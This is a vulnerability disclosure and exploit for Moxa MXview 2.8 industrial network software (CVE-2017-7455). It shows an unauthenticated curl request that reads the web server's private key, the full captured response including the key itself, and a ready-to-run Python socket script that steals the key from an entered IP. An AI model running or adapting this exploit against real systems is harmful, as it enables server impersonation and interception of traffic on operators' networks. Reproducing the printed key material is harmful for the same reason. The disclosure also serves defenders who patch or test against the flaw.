Moxa MXview v2.8 Remote Private Key Disclosure Exploit

[+] Credits: John Page AKA HYP3RLINX

Vendor:
============
www.moxa.com

Product:
===========
MXview V2.8

Download:
http://www.moxa.com/product/MXstudio.htm

MXview Industrial Network Management Software.

Auto discovery of network devices and physical connections
Event playback for quick troubleshooting
Color-coded VLAN/IGMP groups and other visualized network data
Supports MXview ToGo mobile app for remote monitoring and notification—anytime, anywhere.



Vulnerability Type:
=============================
Remote Private Key Disclosure



CVE Reference:
==============
CVE-2017-7455



Security Issue:
================
MXview stores a copy of its web servers private key under C:\Users\TARGET-USER\AppData\Roaming\moxa\mxview\web\certs\mxview.key.
Remote attackers can easily access/read this private key "mxview.key" file by making an HTTP GET request.

e.g.

curl -v http://VICTIM-IP:81/certs/mxview.key


* About to connect() to VICTIM-IP port 81
* Trying VICTIM-IP... connected
* Connected to VICTIM-IP (VICTIM-IP) port 81
> GET /certs/mxview.key HTTP/1.1
> User-Agent: curl/7.15.5 (x86_64-redhat-linux-gnu) libcurl/7.15.5
> Host: VICTIM-IP:81
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Tue Feb 28 14:18:00 2017
< Server: GoAhead-Webs
< Last-modified: Tue Feb 28 10:46:51 2017
< Content-length: 916
< Content-type: text/plain
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG2w0BAQEFAASCAmEwggJdAgEAAoGBAMO2BjHS6rFYqxPb
QCjhVn5+UGwfICfETzk5JQvhkhc71bnsDHI7lVyYhheYLcPQBEglVolwGANPp7LF
2lhG+UaSFfTVk8UDvV0qQpjSQvDjcWSuKBfceyT5zmI8ynxuMHoqBR7ZOSLY31z+
Rxt+JCykwqfMGdjawnC5ivr8iWDpAgMBAAECgYAQpHjwYbQtcpHRtXJGR6s4RHuI
RjlQyGPIRPC+iucGbMMm9Ui1qhVwc1Pry7gQj67dh7dNJqgUGAD1tdd0bEykKoqm
ICgXj0HMPCLxUy4CHIZInsBhzAyp/3atkDIaeELZckCbmttkVvncDi+b9HnuL/To
YwJpuLkpXEKpjK7iAQJBAOof+yliPn7UsBecw/Hc/ixeDRGI1kjtvuOvSi6jLZoj
3rzODMSD1eRcrK/GJydWVT8TV3WXXYn3M1cu3kmQJKkCQQDV/zlBtFFPPVAl1zy7
UBG+RPI63uXeaA0C1+RX2XfJSR4zeKxnWgalzUl0UwMgWB3Gpp2+VW5a/zw3aKlK
6MJBAkBHPMXqWKdVZhfSh3Ojky+PhmqJjE5PUG/FzZ9Pw3zrqsBqSHPgE5Ewc/Zj
YXKmavCbSaJR+GWQxjPL8knWrlJJAkEAkahnEJHrxkO1igw3Ckg0y4yiU+/kBr5M
HONWSXV8U0WxiNdagf6FB9XzaXoXZuyTl+NQ+3yq4MVZ910F3jcQAQJBAI+q0AcX
EskHai2Fx24gkHwwRxacsiXrRClxIj5NB52CSo2Sy6EF02DKQVWR3oIjDesXcWvl
+CPTV6agBkYxe7Q=
-----END PRIVATE KEY-----



Exploit:
=========
import socket

print 'Moxa MXview 2.8 Remote Private Key Theft'
print 'by hyp3rlinx\n'

IP=raw_input("[Moxa MXview IP]> ")
PORT=int(raw_input("[PORT]> "))
STEAL_PRV_KEY="GET /certs/mxview.key HTTP/1.1\r\nHost: "+IP+"\r\n\r\n"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(STEAL_PRV_KEY)

print 'Enjoy ur private server key!\n'
print s.recv(512)

s.close()

#  0day.today [2018-03-13]  #